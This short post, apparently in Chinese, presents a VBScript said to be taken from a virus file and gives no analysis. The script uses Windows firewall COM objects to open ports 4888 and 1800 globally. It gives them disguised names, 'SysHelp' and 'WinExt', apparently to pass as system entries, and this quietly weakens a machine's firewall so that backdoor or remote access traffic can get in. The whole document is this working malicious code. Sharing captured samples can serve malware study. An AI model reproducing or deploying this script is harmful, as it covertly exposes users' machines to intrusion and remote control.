从病毒文件中获取的一个vbs

Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile

Set objPort = CreateObject("HNetCfg.FwOpenPort")
objPort.Port = 4888
objPort.Name = "SysHelp"
objPort.Enabled = True

Set objPort1 = CreateObject("HNetCfg.FwOpenPort")
objPort1.Port = 1800
objPort1.Name = "WinExt"
objPort1.Enabled = True

Set colPorts = objPolicy.GloballyOpenPorts
errReturn = colPorts.Add(objPort1)
errReturn = colPorts.Add(objPort)